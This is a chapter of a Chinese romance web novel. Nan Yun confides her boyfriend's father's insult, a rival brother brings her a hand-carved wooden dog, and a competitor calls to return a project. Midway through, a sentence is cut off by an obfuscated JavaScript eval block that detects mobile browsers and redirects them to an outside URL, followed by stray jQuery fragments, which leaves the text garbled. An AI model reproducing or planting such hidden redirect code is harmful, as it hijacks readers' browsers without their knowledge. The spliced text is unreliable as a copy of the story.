18. chapter 18

作品:《误雪

    南韫缓缓开口:“我们刚在一起的时候,周董曾亲自来找过我。”


    “他找你……做什么?”


    周砚的声音带着自己都未察觉的紧绷。


    南韫垂下眼睫,避开他可能出现的任何表情:“他说……不要企图以色侍人,获得不属于自己的东西。”


    周砚覆在她手背上的指尖陡然一颤。


    其实周向松的原话说得更直白。


    他说的是,不要企图用年轻的肉/体兑换价值。


    即使跟周砚在一起,周家的财产她也一分都带不走。


    她并非多么清高的人,却总还剩几分尊严。


    所以她跟周砚的界限划分得清清楚楚,不愿越雷池半步。


    沉默了片刻,传来周砚干涩的声音:“……为什么不告诉我?”


    南韫抬眼眼,他失魂落魄,望向她的目光带着疼惜。


    “即使告诉你,你也改变不了什么。”


    这句话太过直白残酷,周砚骤然愣住。


    更残酷的是,他比谁都清楚,这话无从反驳。


    他与周恪言不同,在周向松的羽翼下成长起来的温室花朵,只有爱的能力,却没有保护的能力。


    甚至,连他自己都在仰人鼻息。


    跟他在一起,南韫不得不将自己变成一尊针插不进、水泼不进的泥菩萨,只有充耳不闻或委曲求全,才能抵御周遭的审视与轻蔑。


    或许,本来是可以忍下去的。


    直到有个人劈开阴霾,举着火把走到她面前,递给她一方干净的手帕,她才惊觉,自己已经泪流满面。


    那一瞬间,委屈如潮水般汹涌而至,几乎将她淹没。


    见他仿佛受了重大打击一般,南韫轻抿下唇,放缓了语气:“周砚,我说这些不是为了责怪你,只是你一再问我为什么不搬过去,这就是答案,我只希望你理解我。”


    周砚顿住片刻,望着南韫包容的目光,重重地点了点头。


    “韫韫,委屈你了,我一定会对你好的。”


    他沉浸在自己的感动中,没留意面前南韫的笑容逐渐变得苦涩,直至消失。


    周砚振奋精神,开始忙前忙后收拾自己带过来的东西,甚至系上围裙帮她打扫卫生,眉眼柔和。仿佛一种迟来的补偿。


    叮咚——


    门铃突兀响起。


    她们家少有外客,南韫有些疑惑,正欲起身开门,周砚将她按下,“我去开门。”


    他走到玄关处,按下扶手,大门向外敞开,一道人影映入眼帘——


    一个他绝没想到会出现在这里的人。


    周恪言一身深蓝色羊毛大衣,黑色高领毛衣衬得他愈发清峻冷寂。


    宛如雪后松竹,周身浸透着疏离的皎皎清辉。


    周砚错愕道:“哥,你怎么在这?”


    周恪言神色淡然,仿佛他的存在再寻常不过:“南韫出差受伤,我来探望。”


    他示意了一下手里的果篮,那是标准慰问病人带的水果。


    他表情坦荡,没有半分暗昧。


    周砚一边为自己的多疑尴尬,一边侧身请他进门。


    “快请进,没想到你还会亲自慰问员工。”


    周恪言步入客厅,目光与沙发上怔然的南韫短暂相接。


    “周总?”她显然也没料到他会来。


    周恪言将果篮放在茶几上,从容落座,将同样的理由复述一遍,语气公事公办。


    “你也算因公受伤,高霏和傅弛脱不开身,我这个闲人只好代劳。”


    他背对着在厨房忙碌的周砚,却极轻地朝她勾了一下唇角。


    日光勾勒出他清隽的侧影,那一笑晃得她心口猛地一悸。


    她忙收回视线,压下翻涌的情绪。


    刚想道谢,又想起他的要求,连道谢也咽了回去。


    “……”


    周砚用自己做客时的杯子沏了红茶端来:“哥,喝茶。”


    周恪言端详了那杯子片刻,透明的玻璃杯,做工精致。


    他视线错开杯子,短暂地在南韫面前彩绘的小狗杯子上停留了一瞬,又若无其事地收回目光,将杯子放在茶几上。


    周砚见到周恪言十分高兴:“哥,难得见面,中午一起吃饭吧。”


    周恪言双手交叉:“不必了,我坐坐就走。”


    他态度仍然疏淡,周砚知道这顿饭恐怕是约不上,便也不勉强。


    他转而坐到南韫身边,牵住她的手,对周恪言笑道:“哥,多谢你这段时间照顾韫韫,她年纪小,在团队里没少给你添麻烦吧?”


    南韫几不可察地蹙了蹙眉。


    周恪言目光扫过他们交握的手,声音无波无澜:“她是团队的重要成员。”


    周砚没想到他竟会为一句寒暄辞令而反驳他,只得笑了笑:“那就好。”


    气氛一时有些尴尬。


    南韫敏锐地察觉到气氛凝滞,试图开口缓和:“周总,地推数据我已经加进了评估报告,您要看一下吗?”


    毕竟是工作的借口,她也急需一件事来打断这令人心慌意乱的局面。


    周恪言从善如流地颔首:“好。”


    南韫起身,欲向卧室慢慢走去。


    “我去拿电脑。”


    周砚下意识去拉她手腕:“韫韫你别乱走,我去拿。”


    不料她正要迈出一步,身体重心不稳,被他这一带,身形踉跄着向一旁倒去。


    他惊了一跳,忙起身欲扶。


    有个身影却比他还迅速,霍然起身,指尖稳稳握住她的手腕,将她身形扶正。


    南韫惊魂未定,抬眼却正撞入周恪言深不见底的眸中,那里面似乎掠过一丝极少见的急凛。


    周砚的手顿在半空,半晌才缓缓收回。


    南韫刚从险些摔倒的惊吓中回神,又猝然掉入更剧烈的心慌中。


    她下意识地攥紧了指尖,努力维持表情的平静。


    周恪言似乎也顿了顿,确保她站稳后,才迅速而体面地松手,声音恢复一贯的冷静:“报告你直接发给高霏吧。”


    他说完,目光极快地掠过她泛红的耳尖,随即转向周砚:“不是要吃饭吗?走吧。”


    周砚先是一愣,继而眼底染上惊喜:“好啊,我请!”


    周恪言瞥了她一眼,淡淡道:“南韫腿脚不方便,就我们两个吧。”


    周砚犹豫了一瞬,旋即侧首道:“韫韫,我待会给你带点吃的回来。”


    语气里并没有征询她意见的意思。


    南韫点点头,目送二人一前一后出了门。


    等到房间完全安静下来,她才后知后觉地反应过来。


    刚刚,周恪言是不是为了替她解围,才故意将周砚支出去的?


    否则周恪言一向不愿跟周砚多打交道,为什么突然主动邀约?


    她心神不宁地垂下眼,视线无意识地扫过茶几——周恪言方才坐过的位置。


    那里,除了他未曾动过的那杯茶,旁边还安静地躺着一个东西。


    那是一个大概只有她手掌大,木头雕刻的小狗。


    耳朵憨憨地耷拉着,眼睛用简单的圆点刻出,却奇异地透着一种欢快的神气,笑得憨态可掬——


    似乎是岁岁的模样。


    她正捏在手中疑惑,手机屏幕适时亮起,周恪言的对话框顶起一行短短的字。


    “病中枯燥,聊以玩笑。”


    那只木雕做工不算精细,边缘粗糙。


    南韫心中陡然升起一个猜测:这不会……是他自己做的吧?


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583997|187200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    专门来一趟,就是为了给她送这个?


    这粗糙的质感忽然变得滚烫,灼烧着她的掌心。


    她几乎能想象出,他那样一个习惯于严肃精确、掌控一切的人,是如何在灯下,耐心又生疏地拿着刻刀,一点点雕琢出现在的模样。


    她猛地攥紧了那只小木狗。心口像是被一只无形的手轻轻攫住,酸涩的汁液缓慢渗出,弥漫至四肢百骸。


    *


    那天他们出去吃饭谈了些什么,南韫不得而知。只是后来再谈起这件事,周砚显得十分高兴。


    南韫度过了一个非常清闲的假期,这期间周砚似乎又忙了起来,只来了两次。


    周恪言也没再来过,只是在微信上不时地发来图片,都是岁岁的近照。


    有些是给岁岁喂药时,小狗急得满屋子乱窜;有些是岁岁咬着新买的小狗玩具,在公园草坪上里飞奔;还有些是岁岁有了精心布置的狗窝,却仍愿意睡在旧纸箱里。


    照片里从未出现它的主人,但南韫却却总能从那些定格的瞬间里,窥见镜头后那个人的身影与情绪——


    岁岁不吃药时,他追着小狗满屋子跑得满头大汗;岁岁在公园里撒欢,他便笑容浅淡地在不远处望着它;他精挑细选的狗窝不得岁岁的喜欢,看着岁岁躺在纸箱里睡得香甜,他无奈地摇头笑笑。


    闲暇滋生妄念。她无力遏制那些疯狂滋长的藤蔓,只能在日复一日的惶惑与纠结中辗转。


    直到即将收假的前一天,她接到了一个电话。


    “喂。”


    对面的语气非常不客气,甚至算得上是嚣张,南韫一下就听出了那个声音。


    是常熙雅。


    但她仍然语气平淡地问道:“哪位?”


    常熙雅声音有些气急败坏:“我是常熙雅,这你都听不出来?”


    南韫唇角微勾,笑容有些冷冽:“不熟,自然听不出来。”


    常熙雅似又想说些什么,却强行压了下去:“你……算了,我也懒得跟你计较,万通的项目,还给你。”


    南韫眉头蹙了起来:“什么意思?”


    “什么什么意思,”常熙雅不耐烦,“不是我自己凭本事拿到的东西,赢了也没什么意思。”


    “不是你……”南韫的大脑瞬间搅成一团浆糊。


    明明是常熙雅自己动用关系拿走了这个项目的成果,为什么现在又好像全然不知似的?


    “是周砚做的?”她第一反应是周砚又帮了她。


    “什么周砚?”常熙雅疑惑,又恍然大悟般嗤笑一声,“你不会以为我把项目还给你,是因为周砚的缘故吧?”


    南韫没有理会她的冷嘲热讽。


    常熙雅半天只能听到电话这头呼呼的风声,不由咬紧了后槽牙道:“我可警告你,周砚未必是你的保护伞,水能载舟,亦能覆舟,这句提醒算是偿还你的项目损失了,南韫,别让我小看你。”


    话音未落,她便气冲冲地挂断了电话。


    南韫握着手机陷入沉思。


    凭自己的本事,这句话从常熙雅嘴里说出来,她本该觉得可笑。


    但是常熙雅为人嚣张跋扈,若是对一样东西志得意满,必会将尾巴翘到天上去,引得所有人众星捧月。


    断没有现在这样扭扭捏捏,甚至拱手还给她的道理。


    而且她的语气……似乎对这件事完全不知情,反而还因这个胜之不武的项目而感到蒙羞。


    假设常熙雅对万通的事情真不知情,那当时抢走她项目的势力又是谁?


    难道是常老板对他这个侄女格外疼惜,所以不经她的同意就贸然转走了这个项目?


    又联想到常熙雅说周砚的语气,似乎很瞧不上。


    南韫拧紧了眉,这件事,似乎没有表面上那么简单。